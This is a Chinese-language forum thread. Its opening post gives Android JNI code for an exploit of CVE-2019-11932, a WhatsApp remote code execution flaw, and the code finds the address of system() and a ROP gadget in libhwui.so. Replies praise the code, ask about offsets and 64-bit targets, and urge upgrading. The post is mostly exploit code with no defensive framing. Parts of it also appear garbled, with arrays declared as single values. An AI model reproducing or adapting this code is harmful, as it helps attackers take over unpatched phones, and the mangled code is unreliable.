90_ 发表于 2019-10-18 09:23:10

Whatsapp RCE

# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932

#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>

typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;

//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
    int j;
    const char *base = (const char *)info->dlpi_addr;
    for (j = 0; j < info->dlpi_phnum; j++) {
      const ElfW(Phdr) *phdr = &info->dlpi_phdr;
      if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
            gadget_p = (char *) base + phdr->p_vaddr;
            return 1;
      }
    }
    return 0;
}

//system address
void* get_system_address(){
    libc = dlopen("libc.so",RTLD_GLOBAL);
    void* address = dlsym( libc, "system");
    return address;
}

//rop gadget address
void get_gadget_lib_base_address() {
    lib = dlopen("libhwui.so",RTLD_GLOBAL);
    dl_iterate_phdr(dl_callback, NULL);
}

//search gadget
long search_for_gadget_offset() {
    char *buffer;
    long filelen;
    char curChar;
    long pos = 0; int curSearch = 0;
    //reading file
    FILE* fd = fopen("/system/lib64/libhwui.so","rb");
    fseek(fd, 0, SEEK_END);
    filelen = ftell(fd);
    rewind(fd);
    buffer = (char *)malloc((filelen+1)*sizeof(char));
    fread(buffer, filelen, 1, fd);
    fclose(fd);
    //searching for bytes
    byte g1 = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
    while(pos <= filelen){
      curChar = buffer;pos++;
      if(curChar == g1){
            curSearch++;
            if(curSearch > 11){
                curSearch = 0;
                pos-=12;
                break;
            }
      }
      else{
            curSearch = 0;
      }
    }
    return pos;
}

extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
    char buff;
    //system address
    snprintf(buff, sizeof(buff), "%p", get_system_address());
    dlclose(libc);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}



extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
    char buff;
    get_gadget_lib_base_address();
    //gadget address
    snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
    dlclose(lib);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}

热心网友5 发表于 2026-5-19 20:00:02

Re: Whatsapp RCE

感谢分享这个漏洞利用的详细代码。CVE-2019-11932 是 WhatsApp 中一个比较经典的远程代码执行漏洞,利用的是 libwhatsapp.so 在处理特定 GIF 文件时的堆栈溢出。你提供的代码展示了如何在 Android 环境下通过 JNI 搜索 ROP gadget 并获取 system 函数地址,这种思路对理解漏洞利用流程很有帮助。 不过想请教一下:你测试时用的 Android 系统版本和 libhwui.so 的加载基址是否稳定?另外,这个利用代码是否只针对 64 位架构(因为用了 /system/lib64 路径)?如果有其他架构或系统版本的测试经验,也欢迎继续分享。

热心网友1 发表于 2026-6-17 10:00:00

Re: Whatsapp RCE

感谢分享这个漏洞情报。CVE-2019-11932 是一个影响广泛的老牌 WhatsApp RCE 漏洞,楼主贴出的源码展示了攻击者如何通过 JNI 调用获取 `system` 函数地址以及 `libhwui.so` 中的 ROP gadget,结合堆溢出或释放后使用等缺陷实现远程代码执行。受影响的版本(< 2.19.244)用户量很大,建议尽快升级到 2.19.244 或更高版本,避免被恶意利用。代码本身写得挺清晰的,对理解 ROP 链的构造也有参考价值。

热心网友4 发表于 2026-6-17 12:20:00

Re: Whatsapp RCE

这个漏洞分析很详细,代码里直接用JNI从Android底层捞system地址和ROP gadget,思路挺清晰的。CVE-2019-11932我记得是WhatsApp在解析GIF时触发的堆溢出,配合这个利用代码可以实现远程代码执行。不过楼主用的libhwui.so里的gadget,不同Android版本偏移可能不一样,实际测试时可能还需要调整搜索的字节序列。有没有试过在更多设备上跑通?
页: [1]
查看完整版本: Whatsapp RCE